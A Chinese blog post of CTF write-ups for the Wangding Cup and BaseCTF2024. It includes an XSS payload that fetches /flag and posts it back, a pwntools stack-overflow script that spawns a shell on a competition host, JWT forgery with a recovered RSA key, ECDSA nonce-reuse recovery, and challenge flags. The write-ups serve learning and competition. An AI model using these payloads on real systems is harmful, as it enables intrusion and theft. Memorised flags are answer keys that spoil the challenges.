题目说的是AES加密,而且可以看到这里面还融合了其他的加密,然后我们写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import gmpy2
import binascii
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes

# Parameters from the original code
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
a = 0
b = 7
xG = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
yG = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
G = (xG, yG)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
h = 1
zero = (0, 0)

# From the provided values
r1 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
r2 = 111817653331957669294460466848850458804857945556928458406600106150268654577388
s1 = 86614391420642776223990568523561232627667766343605236785504627521619587526774
s2 = 99777373725561160499828739472284705447694429465579067222876023876942075279416
z1 = 96525870193778873849147733081234547336150390817999790407096946391065286856874
z2 = 80138688082399628724400273131729065525373481983222188646486307533062536927379

# Calculate k
k = (z1 - z2) * gmpy2.invert(s1 - s2, n) % n

# Calculate dA
dA = (s1 * k - z1) * gmpy2.invert(r1, n) % n

# Generate AES key
key = sha256(long_to_bytes(dA)).digest()

# Decrypt the AES-CBC ciphertext
encrypted_flag_hex = "6c201c3c4e8b0a2cdd0eca11e7101d45d7b33147d27ad1b9d57e3d1e20c7b3c2e36b8da3142dfd5abe335a604ce7018878b9f157099211a7bbda56ef5285ec0b"
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:16]
ciphertext = encrypted_flag_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_flag = unpad(cipher.decrypt(ciphertext), AES.block_size)

# Decrypt the Caesar cipher
victory_key = "WANGDINGCUP"
decrypted_flag_text = ""
for char in decrypted_flag.decode():
if char.isalpha():
shift = ord(victory_key[len(decrypted_flag_text) % len(victory_key)]) - ord("A")
decrypted_char = chr((ord(char) - ord("A") - shift) % 26 + ord("A"))
decrypted_flag_text += decrypted_char
else:
decrypted_flag_text += char
lower_flag = decrypted_flag_text.lower()
print("Decrypted flag:", lower_flag)

运行后得到flag:wdflag{58ae00432d8228c9e3a927bbcd8d67d2}

Web

Web01(未做出)

小明在制作网站时使用jwt(Json Web Token)作为身份校验的方式,但是他觉得只用jwt不够安全,所以又使用了session,你能发现其中存在的问题吗?

参考:CTFtime.org / DownUnderCTF 2021 (Online) / JWT / Writeup

题目打开是个登录页面,经过测试发现除了用户名为admin,其他名字随便输密码都能登录进去

然后可以发现cookie里面有一个session和一个token,不难发现token就是JWT

经过jwt.io解码,发现此JWT使用RS256计算方式,所以我们需要得到私钥来完成

爆公钥

我使用的项目是 rsa_sign2n => rsa_sign2n/standalone at release · silentsignal/rsa_sign2n

根据项目提示,构造docker容器后,将两次以不同身份登录的JWT丢进去跑,发现跑出来四个结果

为了缩小筛选范围,我又找了两个JWT的KEY进去跑,然后也是跑出四个结果

再对比四个结果(找两边结果里面重复的那个),得到公钥为

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

爆私钥

得到了公钥,就可以尝试爆私钥,我使用的是RsaCtfTool

RsaCtfTool/RsaCtfTool: RSA attack tool (mainly for ctf) - retrieve private key from weak public key and/or uncipher data

经过一顿操作,就得到了私钥为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-----BEGIN RSA PRIVATE KEY-----
MIICIQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAgElAoGBAP2Mj8b+
pnwuSCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvK
yXLKS7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL
3WliuJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgERAoGBALrhzOO+tJWZQ2XPMVEq
jvjlbXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3Qny
yEiNHf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8
iq5i6GMi+wdRyp+GOqXd65UPAgEZ
-----END RSA PRIVATE KEY-----

获取flag

搞定了以后,我们把私钥拿到赛博厨师里面,按照我们的要求把用户名改为admin

得到token为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMwMTk1MTgwfQ.MqpdEuYN4ra2g6kADRLVWaaUDvyQFANcynM7kf5M01g

改了token发现game页面可以进入,给了我们提示

1
Dou U know 😀😉😊😋😎🤔😐😥😮🤐😯😪😫😴😜😝😒🙃😲☹️🙁😖😞😤😢😦😰😱🤪😵🥴😠😡🤕🤢🤮🤧😇🥳🥺🤡🤠🤥🐶🐱🐭🐰🦊🐷🐽🐸🐒🐔🐧🐦🚗🚕🚁⭐🛶⛵🚤🛳️⛴️🛥️🚢👶💿📀📱💻⏰🕰️⌚📡🔋🔌🚩✖️➗?

然后我就卡在这里了,说实话我不知道什么意思

我先尝试输入了一个🚩,结果告诉我flag/bin/sh未找到,而且刚好我们还是在最后的十分钟在干这个,结果就没弄出来

Web02(By KeqingMoe)

某安全测试人员接到了一项重要任务:对一套无人机系统的后台进行安全测试。这套系统负责管理无人机的飞行、数据传输和任务调度,请您测试该后台是否安全。

先试着随便输一个账号密码,发现直接登进去了

在输入框输入一些东西,点更新,更新成功,然后返回,发现下面就多了一行字。

写一点 html 交上去,发现可以。联系它说的点提交会审核清单,从而想到 XSS 攻击。

经过简单地猜测,检查到 /flag 下有东西,访问,但得到“你是 boss 嘛?就想看其他无人机拟定执行任务?”从而想到用 xss 把 flag 拿到传回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
fetch('/flag')
.then(response => response.text())
.then(data =>
fetch('/content/b279d32c6978a402f855956b080bb8a3', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `content=${encodeURIComponent(data)}`
})
)
.catch(error =>
console.error('Error:', error)
);
</script>

从而拿到 flag 是 wdflag{z0b2pvf3fk1d77rks6a4y6fs5chn6sqh}

MISC

MISC03(By ZZPeng)

近日某公司服务器遭到恶意攻击,随后公司立即对流量监测系统中遭受攻击时段的流量进行了取证,但是公司某一网络安全实习生进行分析溯源后并未找到攻击者的攻击IP,于是公司决定将这个任务重新交给更具经验的你来进行,接手工作后,你立即对其进行了深入调查!

先过滤http请求(http && http.response.code != 404),然后发现有三个请求里面传了hacker.php,可以得到IP为39.168.5.60,所以答案为wdflag{39.168.5.60}

MISC04(By KeqingMoe)

某测试人员刚刚完成了一款图像加密算法的开发,想要邀请你进行深入的分析测试。

图形很扭曲,并且似乎有规律可循。根据它的形状,想到 Peano 分形曲线

搜索到一篇 IrisCTF2024 上的题目,也是 Peano 分形曲线处理过的图片的题,参考后得到如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from PIL import Image
from tqdm import tqdm

def peano(n):
if n == 0:
return [[0, 0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px, py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst

order = peano(6)
img = Image.open("r.png")
width, height = img.size
block_width = width
block_height = height
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
new_x, new_y = i % width, i // width
pixel = img.getpixel((x, height - 1 - y))
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rr.jpg")

处理后,得到一张图片,是一个二维码

扫了得到 wdflag{dde235fa-114d-404c-8add-6007e6efabfd}

PWN

PWN02(By ZZPeng)

IDA 静态分析得到用户名密码 admin, admin123

vuln函数存在栈溢出漏洞

发现后门函数gift, 字符串/bin/sh

编写利用脚本 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

def exp():
context.log_level='debug'
context(arch='i386', os='linux')

ELFpath = './short'
e = ELF(ELFpath)
# p = process(ELFpath)
p = remote('0192d781680b7e11bd1fe073f5e5923d.el7z.dg10.ciihw.cn', 46319)
p.sendlineafter('username: ', 'admin')
p.sendlineafter('password: ', 'admin123')

buf = int(p.recvline_startswith('You will input this: ').decode()[21:], 16)

print (f'buf:{hex(buf)}\n')
vuln = e.symbols['vuln']
gift = e.symbols['gift']

bin_sh = 0x0804A038
leave = 0x08048555
offset = 0x50 - 0x4*4

# gdb.attach(p)
print (f'vuln:{hex(vuln)} gift:{hex(gift)}')

payload = b'aaaa'+p32(gift)+p32(0)+p32(bin_sh)

p.sendafter('plz input your msg:', payload + cyclic(offset) +p32(buf) + p32(leave))
# p.sendafter('plz input your msg:', b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae')

p.interactive()

if __name__ == '__main__':
exp()

wdflag{r6kghxuwgu60zb4q1rvp5943zak91ygf}

Reverse

REVERSE01(By Jeremiah)

IDA 打开可以看到 flag 被分成了 4 部分加密

第一部分把用户输入的前 8 字节的两倍赋值给 s1

第二部分把 input 的 8-16 字节和字符串 XorrLord 异或第三部分进行 base64 编码

第四部分进行 AES 加密

解密过程很简单,前两部分手逆即可

这里注意一下有个换表操作

AES 写个脚本即可

最后把四个部分拼起来得到 flag: wdflag{9e855bae8f9aaafe9a2eb2cbd8823519}

🔲 ☆

BaseCTF2024 个人Writeup

因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧

MISC

你也喜欢圣物吗

鲁迪是个老hentai!

附件下载下来有两个文件

  • sweeeeeet.png
  • where_is_key.zip(加密,里面有个where_is_key.zip)

附件原图sweeeeeet.png

先用TweakPNG分析一下,提示我们有冗余数据

在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符

赛博厨师解码一下,发现是一段提示

告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from PIL import Image
import sys


def toasc(strr):
return int(strr, 2)


# str1为所要提取的信息的长度(根据需要修改),str2为加密载体图片的路径,str3为提取文件的保存路径
def decode(str1, str2, str3):
b = ""
im = Image.open(str2)
lenth = int(str1) * 8
width, height = im.size[0], im.size[1]
count = 0
for h in range(height):
for w in range(width):
# 获得(w,h)点像素的值
pixel = im.getpixel((w, h))
# 此处余3,依次从R、G、B三个颜色通道获得最低位的隐藏信息
if count % 3 == 0:
count += 1
b = b + str((mod(int(pixel[0]), 2)))
if count == lenth:
break
if count % 3 == 1:
count += 1
b = b + str((mod(int(pixel[1]), 2)))
if count == lenth:
break
if count % 3 == 2:
count += 1
b = b + str((mod(int(pixel[2]), 2)))
if count == lenth:
break
if count == lenth:
break

with open(str3, "w", encoding="utf-8") as f:
for i in range(0, len(b), 8):
# 以每8位为一组二进制,转换为十进制
stra = toasc(b[i : i + 8])
# 将转换后的十进制数视为ascii码,再转换为字符串写入到文件中
# print((stra))
f.write(chr(stra))
print("sussess")


def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)


def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string + "" + plus(bin(s[i]).replace("0b", ""))
# print(string)
return string


def mod(x, y):
return x % y


# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def encode(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:" + str(width))
print("height:" + str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)


if __name__ == "__main__":
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
print("Usage: python test.py <cmd> [arg...] [opts...]")
print(" cmds:")
print(" encode image + flag -> image(encoded)")
print(" decode length + image(encoded) -> flag")
sys.exit(1)
cmd = sys.argv[1]
if cmd != "encode" and cmd != "decode":
print("wrong input")
sys.exit(1)
str1 = sys.argv[2]
str2 = sys.argv[3]
str3 = sys.argv[4]
if cmd != "encode" and cmd != "decode":
print("Wrong cmd %s" % cmd)
sys.exit(1)
elif cmd == "encode":
encode(str1, str2, str3)
elif cmd == "decode":
decode(str1, str2, str3)

然后运行命令

1
2
$ python steg.py decode 64 .\sweeeeeet.png flag.txt
# 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置

因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)

然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码

看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密

ZipCracker: https://github.com/asaotomo/ZipCracker

结果跟我想的一样,它是个伪加密

打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)

拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的

拿着后面再bake一次就出来了

海上遇到了鲨鱼

来看看网络鲨鱼吧

附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)

发现里面有几个请求

/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了

1
2
original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(original_string[::-1])

然后就能得到flag了

Base

Base啊Base,去学学编码吧

这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了

人生苦短,我用Python

下载下来一个Python文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import hashlib

def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)

print('Hello, Python!')
flag = input('Enter your flag: ')

if len(flag) != 38:
abort(1)

if not flag.startswith('BaseCTF{'):
abort(2)

if flag.find('Mp') != 10:
abort(3)

if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)

if ord(flag[-1]) != 125:
abort(5)

if flag.count('_') // 2 != 2:
abort(6)

if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)

if flag[12:32:4] != 'lsT_n':
abort(8)

if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)

if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)

if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)

if flag[::-7].encode().hex() != '7d4372733173':
abort(12)

if set(flag[12::11]) != {'l', 'r'}:
abort(13)

if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)

if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)

if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)

if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)

if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)

print('🎉 You are right!')
import this

这里给了很多信息

  • flag的长度为38
  • flag的头一定为BaseCTF{
  • flag的第11和12位一定为Mp
  • flag的最后三位一定为3x}
  • flag的最后一位的字符的ASCII码为125(}
  • flag里面下划线_的数量整除2的结果为2,也就是下划线数量为4~5个
  • flag中使用下划线_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
  • flag中13~33位中一定含有字符lsT_n
  • flag的前9位为BaseCTF{s或者BaseCTF{S
  • flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==0mPl
  • flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173}Crs1s
  • flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l或者r
  • flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]t3r_Th
  • flag的第18位到20位的字符对应的ASCII值乘以2024_08_15的指数总和等于41378751114180610
  • flag的第一位为字母(已经得知是B),第九位为小写字母,第14位为数字
  • flag的第14位为3,第16位为1
  • flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1234567891011121314151617181920212223242526272829303132333435363738
BaseCTF{sMpl/r3_1_t3r_Th_C0mPl3x}

综合这些条件,我们就可以得到上面这个表所示的提示

然后我就开始猜了,这个跟英语的功底有一定关系的

  • 结合第9~14位为(未知用*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13
  • 第16~17位为两个字母的单词,我想到的就是is,所以我猜了1s

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜

  • 第26~29位不是this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***

这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)

  • 使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
  • 然后对每个索引进行计算
    • 生成字符的ASCII码,例如a为97
    • 使用a的ASCII码进行运算:97 * 20240815 ** 0,此处的0是索引

这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)

αβγ

其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101e

然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66B

最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95_

此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}

发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对

然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3rBeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的

那就可能为This了,也说得通:Simple is better, this complex

所以尝试一下thisthis可写作ThisTh1sThiSThis,都去试试

然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项

所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}

然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}

过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

签到

关注公众号然后签到就有了

根本进不去啊!

这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本

使用Linux的dig命令可以查看到域名下的TXT记录

所以我们dig一下flag.basectf.fun的TXT记录就出来了

你会算md5吗

下载下来是个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import hashlib

flag='BaseCTF{}'

output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''

这个直接md5碰撞就完事了,写个Python脚本自动生成结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import hashlib
import string


def generate_md5_dict():
# 定义所有字符集,包括字母、数字和常见符号
chars = (
string.ascii_uppercase
+ string.ascii_lowercase
+ string.digits
+ "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" # 常见符号
)

# 初始化一个空字典来存储结果
md5_dict = {}

# 遍历所有字符
for char in chars:
# 计算MD5哈希值
md5_hash = hashlib.md5(char.encode()).hexdigest()
# 将MD5哈希值和字符存入字典
md5_dict[md5_hash] = char

return md5_dict


# 生成字典
md5_dictionary = generate_md5_dict()

# 打印字典
for md5_value, character in md5_dictionary.items():
print(f"MD5: {md5_value} -> Character: {character}")

output = [
"9d5ed678fe57bcca610140957afab571",
"0cc175b9c0f1b6a831c399e269772661",
"03c7c0ace395d80182db07ae2c30f034",
"e1671797c52e15f763380b45e841ec32",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"0cc175b9c0f1b6a831c399e269772661",
"a87ff679a2f3e71d9181a67b7542122c",
"92eb5ffee6ae2fec3ad71c777531578f",
"8fa14cdd754f91cc6554c9e71929cce7",
"a87ff679a2f3e71d9181a67b7542122c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"0cc175b9c0f1b6a831c399e269772661",
"e4da3b7fbbce2345d7772b0674a318d5",
"336d5ebc5436534e61d16e63ddfca327",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"8fa14cdd754f91cc6554c9e71929cce7",
"8fa14cdd754f91cc6554c9e71929cce7",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"8f14e45fceea167a5a36dedd4bea2543",
"1679091c5a880faf6fb5e6087eb1b2dc",
"a87ff679a2f3e71d9181a67b7542122c",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"c81e728d9d4c2f636f067f89cc14862c",
"336d5ebc5436534e61d16e63ddfca327",
"0cc175b9c0f1b6a831c399e269772661",
"8fa14cdd754f91cc6554c9e71929cce7",
"c9f0f895fb98ab9159f51fd0297e236d",
"e1671797c52e15f763380b45e841ec32",
"e1671797c52e15f763380b45e841ec32",
"a87ff679a2f3e71d9181a67b7542122c",
"8277e0910d750195b448797616e091ad",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"0cc175b9c0f1b6a831c399e269772661",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]

result = ""

for item in output:
try:
result += md5_dictionary[item]
except KeyError:
print(item)
print(result)

print(result)

跑一下就出来了

二维码1-街头小广告

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

